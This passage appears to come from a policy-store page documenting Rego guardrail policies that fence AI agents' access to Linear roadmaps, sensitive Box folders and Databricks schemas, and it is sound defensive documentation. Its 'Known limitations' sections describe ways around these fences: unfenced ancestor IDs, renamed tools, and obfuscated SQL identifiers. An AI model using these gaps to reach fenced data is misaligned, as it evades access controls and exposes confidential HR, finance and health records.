"linear-mcp-linear_getRoadmaps", "type": "tool" }, "payload": { "name": "linear-mcp-linear_getRoadmaps", "text": ["[{\"id\":\"road_1\",\"name\":\"H2 launches\"}]"] }, "subject": { "claims": { "groups": ["product"] } } } } ``` `allow = true`, no reason. ### Denied — initiative read by a caller outside `product`/`exec` ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "linear-mcp-linear_getInitiatives", "type": "tool" }, "payload": { "name": "linear-mcp-linear_getInitiatives", "text": ["[{\"id\":\"init_1\",\"name\":\"Project Titan (unannounced)\"}]"] }, "subject": { "claims": { "groups": ["marketing"] } } } } ``` `allow = false`, roadmap/initiative reason. A response to `linear_getIssues` or `linear_getProjects` from the same caller passes through — only roadmap/initiative/strategy reads are fenced. ## Composition This policy is single-purpose (an egress content fence). Useful companions on the Linear connector: - An **ingress role-gate** that stops out-of-group callers from *invoking* the roadmap/initiative reads at all (this egress fence is the backstop if the ingress gate is absent or a new read tool slips through). - A **`default-deny-unknown-tools`** allowlist so a newly added/renamed roadmap read is denied until reviewed rather than leaking before this suffix list is updated. - A **customer-data redaction** egress policy on `*getCustomers` / `*getCustomerNeeds` / `*getCustomerTiers`. ## Known limitations - **Group names are placeholders — replace `product` and `exec` with your IdP's group names at import time.** They are matched exactly against `input.subject.claims.groups`; a case or spelling mismatch withholds the response (fail closed). - **Placeholder-claim trust.** The gate trusts `input.subject.claims.groups` as asserted by the IdP-issued JWT. If your IdP does not emit a `groups` claim (Auth0, for example, does not without explicit configuration), every caller is treated as un-privileged and every guarded response is withheld until the claim is wired up. Confirm the claim shape with `dtwo-list-claims` / the dump-input technique before deployment. A non-array `groups` value (e.g. a bare string) is not iterated and also fails closed. - **Unverified official tool names.** The Feb-2026 official initiative / project-update read tool names are **unverified** in the landscape note — confirm them via a live `tools/list` and extend `guarded_suffixes` if they differ. Both `get`/`list` prefixes, both singular by-id (`get_initiative`) and plural collection (`get_initiatives`/`list_initiatives`) spellings, and the tacticlaunch `getById` by-id form (via a trailing-`byid` trim) are matched, but a *differently-worded* read (e.g. an official `roadmap_details`- or `fetch_initiative`-style name that doesn't end in a guarded `get`/`list` suffix, or a `search`-over-plans read like a hypothetical `searchInitiatives`) would slip through until its suffix is added. Re-enumerate after any Linear MCP upgrade. - **Sibling read surfaces are out of scope.** This policy fences the roadmap/initiative/strategy/document read tools by name; it does **not** inspect responses of other reads that can *incidentally* surface the same content. In particular Linear comments attach to initiatives, projects, updates, and documents (`linear_getComments`/`list_comments`), and issue reads (`get_issue`) can quote roadmap context — those responses are **not** fenced and pass through for out-of-group callers. Add a companion egress policy on the comment/issue read surface (and the customer-data reads) if that leakage path matters in your tenant. - **Search reaches the same content, so `searchDocuments` is fenced too.** tacticlaunch's `linear_searchDocuments` returns document bodies by another path, so its suffix (`searchdocuments`) is in `guarded_suffixes` and is withheld for out-of-group callers exactly like `getDocuments`. There is no matching document-*search* tool on the official server in the verified baseline; if your tenant exposes a differently-named search-over-plans read, add its suffix. By contrast `getProjects` (a general project list) is intentionally *not* fenced — only roadmap/initiative/strategy and project/initiative *update* reads, plus document reads, are. - **Whole-response denial, not field redaction.** Because the sensitivity is the entire returned plan, a guarded response is withheld in full; this policy does not attempt to return a partial/redacted roadmap. If you need field-level redaction instead, replace the deny with a `transform` on the same tools. - **Egress only.** This blocks the response; it does not stop the underlying read from executing against Linear (a read has no side effects, so this is acceptable). Pair with an ingress gate if you also want to avoid the upstream call. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package linear.egress.fence_roadmap # Deny-by-default: an egress response is withheld unless an allow rule fires. # For a guarded roadmap/initiative/strategy read this means the response is # blocked (denied) unless the caller is in a privileged group. default allow := false # Placeholder IdP group names — map these to your tenant's IdP groups at import. privileged_groups := {"product", "exec"} # --- Tool identification ------------------------------------------------- # The tool name is exposed on egress under three surfaces that carry the same # value: resource.name (PARC), tool_metadata.name (legacy), and payload.name # (tool-hook canonical). We collect all three because this is a DENY policy: if # a guarded read's name only appeared on a surface we didn't inspect, the tool # would go unrecognized and the response would fail OPEN (leak). Each name is # lowercased and has its underscores stripped, so one suffix matches all three # Linear naming schemes — official snake_case (get_roadmaps / list_documents), # tacticlaunch camelCase (linear_getRoadmaps), and fully-snake community forms. # The gateway server-name prefix separator (hyphen) is left intact; the guarded # suffixes contain no hyphens. object.get chains keep a missing surface from # failing the rule. candidate_names contains replace(lower(object.get(object.get(input, "resource", {}), "name", "")), "_", "") candidate_names contains replace(lower(object.get(object.get(input, "tool_metadata", {}), "name", "")), "_", "") candidate_names contains replace(lower(object.get(object.get(input, "payload", {}), "name", "")), "_", "") # tacticlaunch also exposes by-id reads as getById (verified pattern: # linear_getIssueById). A by-id read of a guarded noun — getRoadmapById / # getInitiativeById / getDocumentById / getMilestoneById — would otherwise end in # "byid" and match none of the get suffixes, failing OPEN (leaking a single # unannounced initiative/roadmap/milestone/document). We therefore also add a # copy of each surface name with a trailing "byid" trimmed, so getById # resolves to the same singular get suffix. get_project stays unfenced # because getprojectbyid trims to getproject, which is not a guarded suffix. candidate_names contains trim_suffix(replace(lower(object.get(object.get(input, "resource", {}), "name", "")), "_", ""), "byid") candidate_names contains trim_suffix(replace(lower(object.get(object.get(input, "tool_metadata", {}), "name", "")), "_", ""), "byid") candidate_names contains trim_suffix(replace(lower(object.get(object.get(input, "payload", {}), "name", "")), "_", ""), "byid") # Normalized suffixes of the roadmap/initiative/strategy READ tools whose # responses carry unreleased-plan content. Read verbs (get/list) with both # singular by-id and plural collection nouns (Linear's official server names # by-id reads get_ singular — get_issue/get_project/get_document — so the # singular get forms are guarded alongside the plural). Write verbs are on # create/update, so createInitiativeUpdate / updateProject are not matched (they # end in ...ateinitiativeupdate / ...ateproject, never get). Both get- and # list- forms are included to cover the unverified Feb-2026 official read names. guarded_suffixes := { "getroadmaps", "getroadmap", "listroadmaps", "getinitiatives", "getinitiative", "listinitiatives", "getinitiativeupdates", "getinitiativeupdate", "listinitiativeupdates", "getprojectupdates", "getprojectupdate", "listprojectupdates", "getmilestones", "getmilestone", "listmilestones", "getdocuments", "getdocument", "listdocuments", "searchdocuments", "getdocumentcontenthistory", } is_guarded_tool if { some suffix in guarded_suffixes some n in candidate_names endswith(n, suffix) } # --- Identity ------------------------------------------------------------ # Caller's IdP groups; a missing subject/claims/groups yields [] so a caller # with no usable claim is treated as un-privileged (fail closed → response # withheld rather than exposed). caller_groups := groups if { claims := object.get(object.get(input, "subject", {}), "claims", {}) groups := object.get(claims, "groups", []) } # The caller is in one of the privileged groups. caller_in_privileged_group if { some g in caller_groups privileged_groups[g] } # --- Allow rules --------------------------------------------------------- # Any response that isn't a guarded roadmap/initiative/strategy read passes. allow if not is_guarded_tool # Guarded reads pass only for callers in a privileged group. allow if { is_guarded_tool caller_in_privileged_group } # --- Deny reason --------------------------------------------------------- reasons contains "This Linear response contains roadmap, initiative, or strategy content (unreleased plans and launch timing that may be material non-public information). It is restricted to the product and exec groups (placeholder IdP group names \"product\" and \"exec\"). Ask your administrator to grant you the appropriate group if you need pre-announcement access, and confirm your IdP is emitting the `groups` claim. If you believe you already have this access, ask your admin to verify your IdP group mapping." if { is_guarded_tool not caller_in_privileged_group } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Fence Sensitive Box Folders by IdP Group URL: https://www.intentbasedpolicy.com/policies/box/fence-sensitive-folders App(s): box | Direction: ingress | Bundles: soc2, hipaa, gdpr-ccpa | Package: box.ingress.fence_sensitive_folders | Published: 2026-07-12 | Tags: box, fence-sensitive-scopes, ingress, soc2, hipaa, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/box/fence-sensitive-folders/policy.md # box / fence-sensitive-folders **Direction:** ingress (`tool_pre_invoke`) **Default:** deny fenced targets for callers outside the mapped group, allow otherwise **Package:** `box.ingress.fence_sensitive_folders` ## What it does Fences pinned sensitive Box subtrees (HR, Finance, Legal, …) by ID. The policy carries two placeholder maps — `fenced_folders` and `fenced_files` — that pair Box folder/file IDs with the IdP group required to touch them (e.g. folder `1234567890` → `finance`). At ingress it denies: - **File reads, moves, and copies** — `get_file_content`, `get_download_url`, `get_file_preview`, `ai_qa_single_file`, `ai_qa_multi_file`, `ai_extract_*`, `move_file`, `copy_file` (official server) and `box_file_download_tool` / `box_file_text_extract_tool` / `box_file_copy_tool` (community server) — when the target `file_id` (or any `items[].id` / `file_ids[]` entry on multi-file AI tools) appears in `fenced_files` and the caller lacks the mapped group. - **Folder listings, details, moves, and copies** — `list_folder_content_by_folder_id`, `get_folder_details`, `move_folder`, `copy_folder` (official) and `box_folder_items_list_tool` / `box_folder_move_tool` (community) — when the target `folder_id` appears in `fenced_folders` and the caller lacks the mapped group. - **Search** — community `box_search_tool` is denied for non-privileged callers unless `ancestor_folder_ids` is present and every fenced ID in it maps to a group the caller holds (an unscoped search is allowed only for callers holding **every** fenced group, since it can surface content from any tree). Official `search_files_keyword` / `search_files_metadata` folder-scoping is checked the same way where the scoping argument is present. Group membership is read from `input.subject.claims.groups` via `object.get` chains and fails closed: a missing, empty, or malformed `groups` claim never grants access to a fenced target. All tools this policy does not inspect pass through untouched. ## Compliance alignment - **SOC 2 C1.1** — supports identification and protection of confidential information by gating agent access to designated confidential Box trees to their mapped groups; **P4.1** — supports limiting personal-information use to identified purposes by keeping PI-bearing folders behind role fences on the agent channel. - **HIPAA §164.308(a)(4)** — supports information access management: access to PHI-bearing Box folders is authorized by IdP group on the MCP path; **§164.522(a)** — fenced file IDs can encode agreed-to restrictions on specific patient records. - **GDPR Art. 9** — supports special-category protection by fencing folders holding health, HR, or other Art. 9 data; **CPRA §1798.121** — supports the right to limit use of sensitive personal information by fencing SPI folders to a minimal group. ## Tool name matching Tool names are matched case-insensitively as an exact name or by `-`/`_`-separated suffix, so the policy tolerates any gateway server-name prefix (e.g. `box-remote-get_file_content`): - Official (mcp.box.com): `get_file_content`, `get_download_url`, `get_file_preview`, `ai_qa_single_file`, `ai_qa_multi_file`, `move_file`, `copy_file`, `list_folder_content_by_folder_id`, `get_folder_details`, `move_folder`, `copy_folder`, `search_files_keyword`, `search_files_metadata`; any tool whose name contains `ai_extract_` (covers all six `ai_extract_*` variants). - Community (box-community/mcp-server-box): `box_file_download_tool`, `box_file_text_extract_tool`, `box_file_copy_tool`, `box_folder_items_list_tool`, `box_folder_move_tool`, `box_search_tool`. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape - File tools: `file_id` (string or number). Multi-file AI tools: `items[].id`; a flat `file_ids[]` array is also checked defensively. - Folder tools: `folder_id` (string or number). - Search tools: `ancestor_folder_ids` as an array of IDs or a comma-separated string. On the official server the exact scoping field name is partially unverified (see Known limitations). ## Examples ### Allowed ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "box-remote-get_file_content", "type": "tool" }, "subject": { "sub": "google-apps|dev@example.com", "claims": { "groups": ["engineering"] } }, "payload": { "name": "box-remote-get_file_content", "args": { "file_id": "5550001111" } // not in fenced_files } } } ``` `allow = true`, no reason. ### Denied ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "box-remote-get_file_content", "type": "tool" }, "subject": { "sub": "google-apps|dev@example.com", "claims": { "groups": ["engineering"] } }, "payload": { "name": "box-remote-get_file_content", "args": { "file_id": "9876543210" } // fenced_files → finance } } } ``` `allow = false`, `reason = "Box file 9876543210 is fenced as sensitive and requires the 'finance' IdP group. (...)"`. ## Composition This policy is single-purpose: it fences reads/moves/search of pinned sensitive IDs. Useful companions: - An external-sharing guard on `create_collaboration` / `*shared_link*` tools, so fenced content that an authorized caller reads cannot be re-shared outward. - An egress PII/PHI redaction policy on `get_file_content`, `ai_qa_*`, and search responses — it also mops up snippets an unscoped official search may surface (see Known limitations). - A destructive-op gate for the community server's `box_file_delete_tool` / `box_folder_delete_tool`. ## Known limitations - **Literal-ID matching only — no ancestry resolution.** The policy matches the exact IDs in its maps and cannot resolve Box folder ancestry statelessly. A file reached through an unlisted descendant ID is **not** fenced. Customers must pin the sensitive subtree's folder IDs (the root and any high-value descendant folders/files) at import time; the shipped ID lists are placeholders. - **Broad operations can still surface fenced descendants.** The same statelessness means an operation whose *own* target is an **unfenced ancestor** of a fenced tree is not caught: a recursive community listing of a parent folder (`box_folder_items_list_tool` with `is_recursive: true`, e.g. `folder_id: "0"`) enumerates items inside fenced subtrees, and a community search scoped to an unfenced ancestor (`ancestor_folder_ids: ["0"]`, or a malformed non-comma scope string that parses to a single non-fenced token) reads into fenced subtrees — both satisfy the "scoped is safe" allow rule and thereby sidestep the unscoped-search restriction. The scoped checks only test whether the *literal* ancestor IDs supplied are themselves fenced. Mitigate by pinning the sensitive **root** folder IDs (so a recursive listing or scoped search of the root itself is denied), pairing with an egress redaction policy (see Composition), and/or restricting recursive listing and root-scoped search operationally. - **Move/copy argument names partially unverified.** The `copy_file` / `box_file_copy_tool` fences read `file_id`, and `move_folder` / `copy_folder` / `box_folder_move_tool` read `folder_id`, matching the underlying Box API and the move/read tools already covered. Box does not publish these schemas; if a live tool names the moved/copied source item differently, that fence silently does not fire. Confirm against a live `tools/list`. - **Placeholder configuration.** Folder/file IDs and group names are placeholders — replace `finance` with your IdP's group name at import time, and replace the IDs with your real Box folder/file IDs. - **Official search scoping is partially unverified.** Box's docs do not publish the official server's full argument schemas; this policy assumes the scoping argument is named `ancestor_folder_ids` (matching the underlying Box Search API). If the live tool uses a different field name, the scoping check silently never fires. Confirm against a live `tools/list` before relying on it. - **Unscoped official search passes.** Per the design, `search_files_keyword` / `search_files_metadata` are only checked when the scoping argument is present — an unscoped official search can still surface fenced-tree snippets (Box enforces the caller's own Box permissions, but not this policy's group fence). Pair with an egress redaction policy, or tighten this policy to deny unscoped official search if that residual is unacceptable. - **AI-extract argument shapes are partially unverified.** The `ai_extract_*` and `ai_qa_multi_file` checks read `file_id`, `items[].id`, and `file_ids[]`; if the live schema nests file references elsewhere, those calls pass unchecked. - **Metadata reads are not fenced.** `get_file_details`, `list_file_comments`, and community `box_file_info_tool` can still reveal fenced item names/metadata; this policy targets content reads, listings, moves, and search only. - **`groups` claim must be an array of strings.** A string-valued or otherwise malformed claim fails closed (fenced targets deny). If your IdP emits groups under a different claim name (e.g. a namespaced custom claim), update `caller_groups` in the Rego. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package box.ingress.fence_sensitive_folders # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # --------------------------------------------------------------------------- # Fence configuration — PLACEHOLDERS, replace at import time. # # The policy matches literal IDs and cannot resolve Box folder ancestry # statelessly, so pin the folder IDs of every sensitive subtree root AND any # high-value descendant folders here. Group names must match your IdP's # `groups` claim values (compared case-insensitively). # Box folder ID -> IdP group required to list/read/search inside it. fenced_folders := { "1234567890": "finance", # e.g. /Finance subtree root "1234567891": "hr", # e.g. /HR subtree root "1234567892": "legal", # e.g. /Legal subtree root } # Box file ID -> IdP group required to read or move it. Use for pinned # high-value documents (payroll exports, cap tables, case files). fenced_files := { "9876543210": "finance", # e.g. payroll-2026.xlsx "9876543211": "hr", # e.g. employee-roster.xlsx } # --------------------------------------------------------------------------- # Identity — read groups via object.get chains so a missing subject/claims/ # groups fails closed (no group -> no access to fenced targets). caller_groups := object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", []) # True when the caller's groups claim (an array of strings) contains `group`. # A malformed (non-array) claim makes the iteration fail -> fail closed. caller_has_group(group) if { some g in caller_groups lower(g) == lower(group) } # Every distinct group referenced by the fence maps. A caller holding all of # them may run unscoped community searches (they could read every tree anyway). fence_groups contains group if { some _, group in fenced_folders } fence_groups contains group if { some _, group in fenced_files } privileged_search_caller if { every group in fence_groups { caller_has_group(group) } } # --------------------------------------------------------------------------- # Tool matching. The gateway prefixes tool names with the configured MCP # server name (separator not standardized), so match the exact name or a # `-`/`_`-separated suffix, case-insensitively. Verify the exact names your # gateway sends with the dump-input debug technique. tool_name := lower(object.get(object.get(input, "resource", {}), "name", "")) tool_matches(suffix) if { tool_name == suffix } tool_matches(suffix) if { endswith(tool_name, sprintf("-%s", [suffix])) } tool_matches(suffix) if { endswith(tool_name, sprintf("_%s", [suffix])) } # File-targeting tools (official server) — content reads, previews, AI Q&A, # and moves of a specific file ID. is_file_tool if tool_matches("get_file_content") is_file_tool if tool_matches("get_download_url") is_file_tool if tool_matches("get_file_preview") is_file_tool if tool_matches("ai_qa_single_file") is_file_tool if tool_matches("ai_qa_multi_file") is_file_tool if tool_matches("move_file") # Copying a fenced file duplicates its content into a caller-chosen (unfenced) # location, from which it can be read freely — so fence copy like move/read. is_file_tool if tool_matches("copy_file") # All six official ai_extract_* variants send file content through Box AI. is_file_tool if contains(tool_name, "ai_extract_") # File-targeting tools (community box-community/mcp-server-box). is_file_tool if tool_matches("box_file_download_tool") is_file_tool if tool_matches("box_file_text_extract_tool") is_file_tool if tool_matches("box_file_copy_tool") # Folder-targeting tools — listings, details, and moves/copies of a specific # folder ID. Relocating or duplicating a fenced folder by its literal ID is # fenced too (symmetric with move_file); reaching a fenced tree through an # UNFENCED ancestor ID cannot be caught statelessly — see Known limitations. is_folder_tool if tool_matches("list_folder_content_by_folder_id") is_folder_tool if tool_matches("get_folder_details") is_folder_tool if tool_matches("move_folder") is_folder_tool if tool_matches("copy_folder") is_folder_tool if tool_matches("box_folder_items_list_tool") is_folder_tool if tool_matches("box_folder_move_tool") # Search tools. is_community_search_tool if tool_matches("box_search_tool") is_official_search_tool if tool_matches("search_files_keyword") is_official_search_tool if tool_matches("search_files_metadata") is_search_tool if is_community_search_tool is_search_tool if is_official_search_tool # Any tool this policy inspects. is_fenced_scope_tool if is_file_tool is_fenced_scope_tool if is_folder_tool is_fenced_scope_tool if is_search_tool # --------------------------------------------------------------------------- # Argument extraction — object.get everywhere; Box IDs may arrive as strings # or numbers, so normalize both to a trimmed string. args := object.get(object.get(input, "payload", {}), "args", {}) to_id(x) := trim_space(x) if is_string(x) to_id(x) := sprintf("%v", [x]) if is_number(x) # Target file IDs: single `file_id`, multi-file `items[].id`, and a flat # `file_ids[]` array (defensive — multi-file AI schemas are partially # unverified). requested_file_ids contains id if { id := to_id(object.get(args, "file_id", "")) id != "" } requested_file_ids contains id if { some item in object.get(args, "items", []) id := to_id(object.get(item, "id", "")) id != "" } requested_file_ids contains id if { some raw in object.get(args, "file_ids", []) id := to_id(raw) id != "" } requested_folder_id := to_id(object.get(args, "folder_id", "")) # Search folder scoping: `ancestor_folder_ids` as an array of IDs or a # comma-separated string (the official server's exact field name is partially # unverified — see Known limitations). ancestor_ids contains id if { raw := object.get(args, "ancestor_folder_ids", []) is_array(raw) some x in raw id := to_id(x) id != "" } ancestor_ids contains id if { raw := object.get(args, "ancestor_folder_ids", "") is_string(raw) some part in split(raw, ",") id := trim_space(part) id != "" } # --------------------------------------------------------------------------- # Fence checks. blocked_file_access if { some id in requested_file_ids group := object.get(fenced_files, id, "") group != "" not caller_has_group(group) } blocked_folder_access if { group := object.get(fenced_folders, requested_folder_id, "") group != "" not caller_has_group(group) } blocked_ancestor if { some id in ancestor_ids group := object.get(fenced_folders, id, "") group != "" not caller_has_group(group) } # --------------------------------------------------------------------------- # Allow rules. # Any tool this policy does not inspect passes through untouched. allow if { not is_fenced_scope_tool } allow if { is_file_tool not blocked_file_access } allow if { is_folder_tool not blocked_folder_access } # Scoped community search: allowed when every fenced ancestor ID maps to a # group the caller holds (or no fenced ID is present). allow if { is_community_search_tool count(ancestor_ids) > 0 not blocked_ancestor } # Unscoped community search can surface content from any fenced tree, so it # is reserved for callers holding every fenced group. allow if { is_community_search_tool count(ancestor_ids) == 0 privileged_search_caller } # Official search: fence check applies only when the scoping argument is # present (unscoped official search passes — documented residual). allow if { is_official_search_tool not blocked_ancestor } # --------------------------------------------------------------------------- # Deny reasons. reasons contains msg if { is_file_tool some id in requested_file_ids group := object.get(fenced_files, id, "") group != "" not caller_has_group(group) msg := sprintf("Box file %s is fenced as sensitive and requires the '%s' IdP group. Ask your Box administrator for access, or contact InfoSec if this fence looks wrong.", [id, group]) } reasons contains msg if { is_folder_tool group := object.get(fenced_folders, requested_folder_id, "") group != "" not caller_has_group(group) msg := sprintf("Box folder %s is a fenced sensitive tree and requires the '%s' IdP group. Ask your Box administrator for access, or contact InfoSec if this fence looks wrong.", [requested_folder_id, group]) } reasons contains msg if { is_search_tool some id in ancestor_ids group := object.get(fenced_folders, id, "") group != "" not caller_has_group(group) msg := sprintf("Searching inside Box folder %s requires the '%s' IdP group. Remove it from ancestor_folder_ids, or ask your Box administrator for access.", [id, group]) } reasons contains "Unscoped Box search is restricted while sensitive folders are fenced. Re-run the search with ancestor_folder_ids scoped to folders you may access, or ask your Box administrator for the fenced groups." if { is_community_search_tool count(ancestor_ids) == 0 not privileged_search_caller } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Fence Sensitive Databricks Schemas URL: https://www.intentbasedpolicy.com/policies/databricks/fence-sensitive-schemas App(s): databricks | Direction: ingress | Bundles: soc2, hipaa, pci-dss, gdpr-ccpa | Package: databricks.ingress.fence_sensitive_schemas | Published: 2026-07-12 | Tags: databricks, fence-sensitive-scopes, ingress, soc2, hipaa, pci-dss, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/databricks/fence-sensitive-schemas/policy.md # databricks / fence-sensitive-schemas **Direction:** ingress (`tool_pre_invoke`) **Default:** deny fenced-namespace references for callers outside the data-privacy group, allow otherwise **Package:** `databricks.ingress.fence_sensitive_schemas` ## What it does Fences off the most sensitive lakehouse namespaces from agents on the **read side** of Databricks. It inspects two request surfaces and denies a call whose target catalog, schema, or table identifier matches a flagged pattern — unless the caller's `input.subject.claims.groups` include `data-privacy`: - **SQL statements** on the SQL-execution tools (`execute_sql`, `execute_sql_read_only`, `execute_sql_query`) — the SQL text is scanned for any flagged identifier. This covers even read-only `SELECT`s against fenced schemas, complementing the write guard (`guard-warehouse-sql`) that only stops DML/DDL. - **Unity Catalog metadata calls** — `describe_uc_table(full_table_name)` (the `full_table_name` argument is scanned) and `describe_uc_schema(catalog_name, schema_name)` (the catalog/schema pair is scanned as a fully-qualified prefix). Table- and schema-level metadata recon is how an agent discovers what to exfiltrate, so it is fenced alongside the data plane. Catalog-level enumeration (`list_uc_catalogs`, `describe_uc_catalog`) is **not** fenced here — see Known limitations. Before matching, the identifier text is normalized: backticks and double-quotes are dropped and whitespace around the `.` separator is collapsed, so ordinary Databricks/Spark quoting (`` `hr`.`salaries` ``) and spacing (`hr . salaries`) cannot slip a fenced namespace past a trailing-dot pattern like `hr.`. Fenced namespaces are pinned in a per-tenant list (`fenced_namespaces`) the operator tunes at import time; example patterns are `hr.`, `payroll.`, `pii_`, `_phi`, and `comp`. Catalog, schema, and table names are matched **case-insensitively**. Group membership is read through `object.get` chains and fails closed: a missing, empty, or malformed `subject`/`claims`/`groups` never grants a fenced namespace (no group → not exempt). The check also **fails closed when the SQL or table-name argument is absent — or present but not a string** (e.g. an array/object/number the normalizer cannot read). A fenced tool whose identifier-bearing argument cannot be inspected is denied rather than passed through, so an uninspectable call cannot slip past the fence. Tools this policy does not recognize (e.g. `list_uc_catalogs`, cluster/job tools) pass through untouched. ## Compliance alignment - **HIPAA §164.502(b)/§164.514(d)** — supports the minimum-necessary and role-based-limits standard: agent read access to a PHI-bearing schema (SQL *or* metadata discovery) is gated to the `data-privacy` group on the MCP path; **§164.308(a)(4)** — supports information access management by authorizing sensitive-namespace access via IdP group; **§164.522(a)** — the namespace list can encode agreed-to restrictions on specific regulated schemas. - **PCI DSS 7.2.6** — supports restricting programmatic query access to stored cardholder data by role: fence the cardholder schema/catalog so only the mapped group can read it through an agent, on both the SQL and the Unity Catalog metadata path. - **SOC 2 C1.1** — supports identification and protection of confidential information by gating agent SQL and metadata calls against designated confidential namespaces; **P4.1** — supports limiting personal-information use to identified purposes by keeping PI-bearing schemas behind a role fence. - **GDPR Art. 9** — supports special-category protection by fencing schemas holding health, HR, or other Art. 9 data; **CPRA §1798.121** — supports the right to limit use of sensitive personal information by fencing SPI schemas to a minimal group; **GDPR Art. 5(1)(b)** — supports purpose limitation on the agent channel. ## Why ingress and least-privilege This is the minimum-necessary / least-privilege control for the lakehouse **read** path: it stops a fenced-schema read (or a metadata probe against one) before it executes, rather than masking a response the query already produced. It complements the write guard (`guard-warehouse-sql`) — which stops mutations but lets read-only `SELECT`s through — and pairs with an **egress redaction backstop** (`redact-pii-egress` on `poll_sql_result`) for defense in depth, since which specific tables hold regulated data is not knowable from the wire and egress redaction catches leaks from schemas an operator has not yet pinned here. ## Tool name matching Databricks managed servers ship stable canonical tool names, so this policy matches by name: - **SQL tools** — matched by the shared stem `execute_sql` (`contains`), which catches the managed `execute_sql` / `execute_sql_read_only` and the community `execute_sql_query` (`RafaelCartenet`) in one rule. The landscape note recommends matching the shared stem because three different servers each expose an `execute_sql`-ish tool. - **Metadata tools** — `describe_uc_table` and `describe_uc_schema` matched by suffix (`endswith`), since the gateway prefixes tool names with the configured server name. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. The managed single-space Genie tool name and the managed SQL execution tool's exact argument key are unverified in the landscape note — see Known limitations. ## Argument shape - **SQL tools:** the SQL text is read from `sql`, `statement`, and `query` — every non-empty string value among those keys is scanned (their union), so stuffing a decoy in one key while hiding a fenced reference in another does not help. `execute_sql_query` uses `sql`; the managed SQL tool's exact key is unverified, so `statement` and `query` are checked defensively. Only string values are inspected; a non-string value under any of these keys is uninspectable and fails closed (see What it does). - **`describe_uc_table`:** `full_table_name` (e.g. `main.hr.salaries`) — scanned directly. - **`describe_uc_schema`:** `catalog_name` and `schema_name` — scanned as the synthetic fully-qualified prefix `".."` so a pattern like `hr.` fences a schema literally named `hr` (which would otherwise have no trailing dot to match). A fenced tool that carries none of its identifier arguments fails closed (see What it does). ## Examples ### Allowed — non-fenced schema ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "databricks-sql-execute_sql_read_only", "type": "tool" }, "subject": { "sub": "google-apps|dev@example.com", "claims": { "groups": ["engineering"] } }, "payload": { "name": "databricks-sql-execute_sql_read_only", "args": { "statement": "SELECT order_id, total FROM sales.orders LIMIT 10" } } } } ``` `allow = true`, no reason. ### Allowed — data-privacy caller reads a fenced schema ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "databricks-sql-execute_sql_read_only", "type": "tool" }, "subject": { "sub": "google-apps|dpo@example.com", "claims": { "groups": ["data-privacy"] } }, "payload": { "name": "databricks-sql-execute_sql_read_only", "args": { "statement": "SELECT employee_id FROM hr.salaries" } } } } ``` `allow = true`, no reason. ### Denied — uncleared caller reads a fenced schema (read-only SELECT) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "databricks-sql-execute_sql_read_only", "type": "tool" }, "subject": { "sub": "google-apps|dev@example.com", "claims": { "groups": ["engineering"] } }, "payload": { "name": "databricks-sql-execute_sql_read_only", "args": { "statement": "SELECT employee_id, salary FROM hr.salaries" } } } } ``` `allow = false`, `reason = "This Databricks call targets the fenced sensitive namespace 'hr.'. (...)"`. ### Denied — Unity Catalog metadata probe against a fenced schema ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "databricks-uc-describe_uc_schema", "type": "tool" }, "subject": { "sub": "google-apps|dev@example.com", "claims": { "groups": ["engineering"] } }, "payload": { "name": "databricks-uc-describe_uc_schema", "args": { "catalog_name": "main", "schema_name": "payroll" } } } } ``` `allow = false`, `reason = "This Databricks call targets the fenced sensitive namespace 'payroll.'. (...)"`. ## Composition This policy is single-purpose. Curated companions for the Databricks data plane: - **`guard-warehouse-sql` (ingress)** — the write guard: deny DML/DDL/`GRANT` and bulk-export constructs. This fence complements it by covering read-only `SELECT`s against fenced schemas. - **`redact-pii-egress` (egress)** — redact SSN/PAN/email patterns from `poll_sql_result` and `genie_poll_response` rows: the defense-in-depth backstop for regulated tables not yet pinned into `fenced_namespaces`. - **`default-deny-unknown-tools` (ingress)** — allowlist the audited Databricks tool names so a dynamic `{CATALOG}__{SCHEMA}__{INDEX}` search tool or a renamed SQL tool cannot introduce an uninspected data path. ## Known limitations - **Placeholder configuration.** The patterns (`hr.`, `payroll.`, `pii_`, `_phi`, `comp`) are placeholders — replace them with your real catalog/schema/table naming convention at import time, and replace the `data-privacy` group with your IdP's group-claim value. Which tables hold regulated data is not knowable from the wire, so pinning the naming convention is mandatory for this policy to fence anything. - **`data-privacy` is a placeholder group name** — replace it with your IdP's group name at import time. - **Broad substring patterns over-match.** `comp` matches `comp`, `compensation`, and also unrelated identifiers like `company` or `component`; `_phi` matches any `..._phi...` token. These are the operator's tuning trade-off — anchor the patterns (`\bcomp`, `_phi\b`) if the false-positive rate is too high. Tune against representative queries before publishing. - **Convention-dependent, not lineage-aware.** Detection keys on the literal pattern appearing in the wire text. A regulated table that does not follow the naming convention (`salaries`, `patient_data`) is **not** fenced, and a caller reading it through a view or an alias that omits the pattern evades the fence. Enforce the naming convention in Unity Catalog and keep the egress redaction backstop in place. - **Prefix detection can be evaded by identifier obfuscation.** Ordinary quoting (`` `hr`.`salaries` ``) and whitespace/newlines around the dot (`hr . salaries`) are normalized away and *do* fire the fence (locked in as tests). But a caller who constructs the identifier dynamically — split across concatenated string literals (`'pi' || 'i_customers'`), a session variable, a `USE SCHEMA hr` context followed by an *unqualified* `SELECT ... FROM salaries`, or an inline (`/* 